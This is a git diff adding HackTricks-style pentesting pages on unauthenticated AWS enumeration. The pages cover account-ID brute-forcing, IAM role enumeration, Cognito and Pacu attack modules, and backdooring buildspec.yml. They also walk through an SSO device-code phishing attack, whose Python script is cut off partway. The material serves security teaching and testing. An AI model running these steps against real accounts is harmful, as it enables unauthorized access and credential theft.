mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Migrate to using mdbook
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# AWS - Unauthenticated Enum & Access
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Credentials Leaks
|
||||
|
||||
A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
|
||||
Some useful **tools**:
|
||||
|
||||
- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
|
||||
- [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
|
||||
- [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
|
||||
|
||||
## AWS Unauthenticated Enum & Access
|
||||
|
||||
There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
|
||||
|
||||
- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
|
||||
- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
|
||||
- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
|
||||
- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
|
||||
- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
|
||||
- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
|
||||
- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
|
||||
- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
|
||||
- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
|
||||
- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
|
||||
- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
|
||||
- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
|
||||
- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
|
||||
- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
|
||||
- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
|
||||
|
||||
## Cross Account Attacks
|
||||
|
||||
In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
|
||||
|
||||
During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
|
||||
|
||||
.png>)
|
||||
|
||||
Other services found vulnerable:
|
||||
|
||||
- AWS Config
|
||||
- Serverless repository
|
||||
|
||||
## Tools
|
||||
|
||||
- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# AWS - Accounts Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Account IDs
|
||||
|
||||
If you have a target there are ways to try to identify account IDs of accounts related to the target.
|
||||
|
||||
### Brute-Force
|
||||
|
||||
You create a list of potential account IDs and aliases and check them
|
||||
|
||||
```bash
|
||||
# Check if an account ID exists
|
||||
curl -v https://<acount_id>.signin.aws.amazon.com
|
||||
## If response is 404 it doesn't, if 200, it exists
|
||||
## It also works from account aliases
|
||||
curl -v https://vodafone-uk2.signin.aws.amazon.com
|
||||
```
|
||||
|
||||
You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
|
||||
|
||||
### OSINT
|
||||
|
||||
Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
|
||||
|
||||
### Marketplace
|
||||
|
||||
If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
|
||||
|
||||
### Snapshots
|
||||
|
||||
- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
|
||||
- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
|
||||
- Public AMIs (EC2 -> AMIs -> Public images)
|
||||
|
||||
### Errors
|
||||
|
||||
Many AWS error messages (even access denied) will give that information.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,56 @@
|
||||
# AWS - API Gateway Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### API Invoke bypass
|
||||
|
||||
According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Permission",
|
||||
"Action": ["execute-api:Execution-operation"],
|
||||
"Resource": [
|
||||
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
|
||||
|
||||
Some examples:
|
||||
|
||||
- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
|
||||
> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
|
||||
> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
|
||||
|
||||
You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
|
||||
|
||||
For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
|
||||
|
||||
### IAM Policy Injection
|
||||
|
||||
In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
|
||||
```
|
||||
|
||||
### Get Account ID from public API Gateway URL
|
||||
|
||||
Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
|
||||
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
|
||||
|
||||
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,11 @@
|
||||
# AWS - Cloudfront Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{random_id}.cloudfront.net
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,35 @@
|
||||
# AWS - CodeBuild Unauthenticated Access
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
For more info check this page:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### buildspec.yml
|
||||
|
||||
If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
|
||||
|
||||
Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
|
||||
|
||||
For some related information you could check the page about how to attack Github Actions (similar to this):
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-ci-cd/github-security/abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
|
||||
|
||||
As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
|
||||
|
||||
```bash
|
||||
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
```
|
||||
|
||||
This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,48 @@
|
||||
# AWS - Cognito Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Unauthenticated Cognito
|
||||
|
||||
Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**.
|
||||
|
||||
For basic info about Cognito check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Identity Pool ID
|
||||
|
||||
Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\
|
||||
Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges.
|
||||
|
||||
[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
|
||||
|
||||
### User Pool ID
|
||||
|
||||
By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
|
||||
|
||||
### Pacu modules for pentesting and enumeration
|
||||
|
||||
[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
|
||||
|
||||
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
|
||||
|
||||
#### Usage
|
||||
|
||||
Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
|
||||
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
|
||||
Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
|
||||
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,11 @@
|
||||
# AWS - DocumentDB Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
<name>.cluster-<random>.<region>.docdb.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,15 @@
|
||||
# AWS - DynamoDB Unauthenticated Access
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dynamo DB
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,60 @@
|
||||
# AWS - EC2 Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & Related Services
|
||||
|
||||
Check in this page more information about this:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Public Ports
|
||||
|
||||
It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
|
||||
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Public AMIs & EBS Snapshots
|
||||
|
||||
AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
|
||||
|
||||
```bash
|
||||
# Public AMIs
|
||||
aws ec2 describe-images --executable-users all
|
||||
|
||||
## Search AMI by ownerID
|
||||
aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
|
||||
|
||||
## Search AMI by substr ("shared" in the example)
|
||||
aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
|
||||
|
||||
# Public EBS snapshots (hard-drive copies)
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
|
||||
If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
|
||||
|
||||
#### Public URL template
|
||||
|
||||
```bash
|
||||
# EC2
|
||||
ec2-{ip-seperated}.compute-1.amazonaws.com
|
||||
# ELB
|
||||
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
|
||||
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
|
||||
```
|
||||
|
||||
### Enumerate EC2 instances with public IP
|
||||
|
||||
```bash
|
||||
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,34 @@
|
||||
# AWS - ECR Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Public registry repositories (images)
|
||||
|
||||
As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
|
||||
|
||||
```bash
|
||||
aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
|
||||
|
||||
### Enumerate Private Repo
|
||||
|
||||
The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
|
||||
|
||||
```bash
|
||||
# Get image names
|
||||
skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
|
||||
crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - ECS Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Publicly Accessible Security Group or Load Balancer for ECS Services
|
||||
|
||||
A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
|
||||
|
||||
```bash
|
||||
# Example of detecting misconfigured security group for ECS services
|
||||
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
|
||||
|
||||
# Example of detecting a publicly accessible load balancer for ECS services
|
||||
aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - Elastic Beanstalk Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Web vulnerability
|
||||
|
||||
Note that by default Beanstalk environments have the **Metadatav1 disabled**.
|
||||
|
||||
The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
|
||||
|
||||
### Insecure Security Group Rules
|
||||
|
||||
Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
|
||||
|
||||
### Publicly Accessible Load Balancer
|
||||
|
||||
If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
|
||||
|
||||
### Publicly Accessible S3 Buckets
|
||||
|
||||
Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
|
||||
|
||||
### Enumerate Public Environments
|
||||
|
||||
```bash
|
||||
aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS - Elasticsearch Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://vpc-{user_provided}-[random].[region].es.amazonaws.com
|
||||
https://search-{user_provided}-[random].[region].es.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,176 @@
|
||||
# AWS - IAM & STS Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Enumerate Roles & Usernames in an account
|
||||
|
||||
### ~~Assume Role Brute-Force~~
|
||||
|
||||
> [!CAUTION]
|
||||
> **This technique doesn't work** anymore as if the role exists or not you always get this error:
|
||||
>
|
||||
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
|
||||
>
|
||||
> You can **test this running**:
|
||||
>
|
||||
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
|
||||
|
||||
Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
|
||||
|
||||
```ruby
|
||||
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
|
||||
```
|
||||
|
||||
This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:
|
||||
|
||||
```less
|
||||
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
|
||||
```
|
||||
|
||||
Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
|
||||
|
||||
You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
|
||||
|
||||
### Trust Policies: Brute-Force Cross Account roles and users
|
||||
|
||||
Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in that resource you could specify a cross account role or user:
|
||||
>
|
||||
> - `arn:aws:iam::acc_id:role/role_name`
|
||||
> - `arn:aws:iam::acc_id:user/user_name`
|
||||
|
||||
This is a policy example:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::216825089941:role/Test"
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
#### GUI
|
||||
|
||||
That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
|
||||
|
||||
.png>)
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
### You could also use: aws iam update-assume-role-policy
|
||||
# When it works
|
||||
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
|
||||
{
|
||||
"Role": {
|
||||
"Path": "/",
|
||||
"RoleName": "Test-Role",
|
||||
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
|
||||
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
|
||||
"CreateDate": "2022-05-03T20:50:04Z",
|
||||
"AssumeRolePolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::316584767888:role/account-balance"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# When it doesn't work
|
||||
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
|
||||
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
|
||||
```
|
||||
|
||||
You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
|
||||
|
||||
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
|
||||
|
||||
Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
|
||||
|
||||
- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
|
||||
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
|
||||
- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
|
||||
|
||||
### Privesc
|
||||
|
||||
In the case the role was bad configured an allows anyone to assume it:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The attacker could just assume it.
|
||||
|
||||
## Third Party OIDC Federation
|
||||
|
||||
Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
|
||||
This trust might give access to a role with the following **trust policy**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
|
||||
This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...
|
||||
|
||||
Another potential misconfiguration is to **add a condition** like the following:
|
||||
|
||||
```json
|
||||
"StringLike": {
|
||||
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
|
||||
}
|
||||
```
|
||||
|
||||
Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,131 @@
|
||||
# AWS - Identity Center & SSO Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Device Code Phishing
|
||||
|
||||
Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
|
||||
|
||||
In order to perform this attack the requisites are:
|
||||
|
||||
- The victim needs to use **Identity Center**
|
||||
- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
|
||||
|
||||
Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
|
||||
|
||||
### Attack
|
||||
|
||||
1. **Finding the subdomain**
|
||||
|
||||
The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
|
||||
|
||||
With this info, it's possible to get the region where the Indentity Center was configured with:
|
||||
|
||||
```bash
|
||||
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
|
||||
"region":"us-east-1
|
||||
```
|
||||
|
||||
2. **Generate the link for the victim & Send it**
|
||||
|
||||
Run the following code to generate an AWS SSO login link so the victim can authenticate.\
|
||||
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:
|
||||
|
||||
```python
|
||||
import boto3
|
||||
|
||||
REGION = 'us-east-1' # CHANGE THIS
|
||||
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
|
||||
|
||||
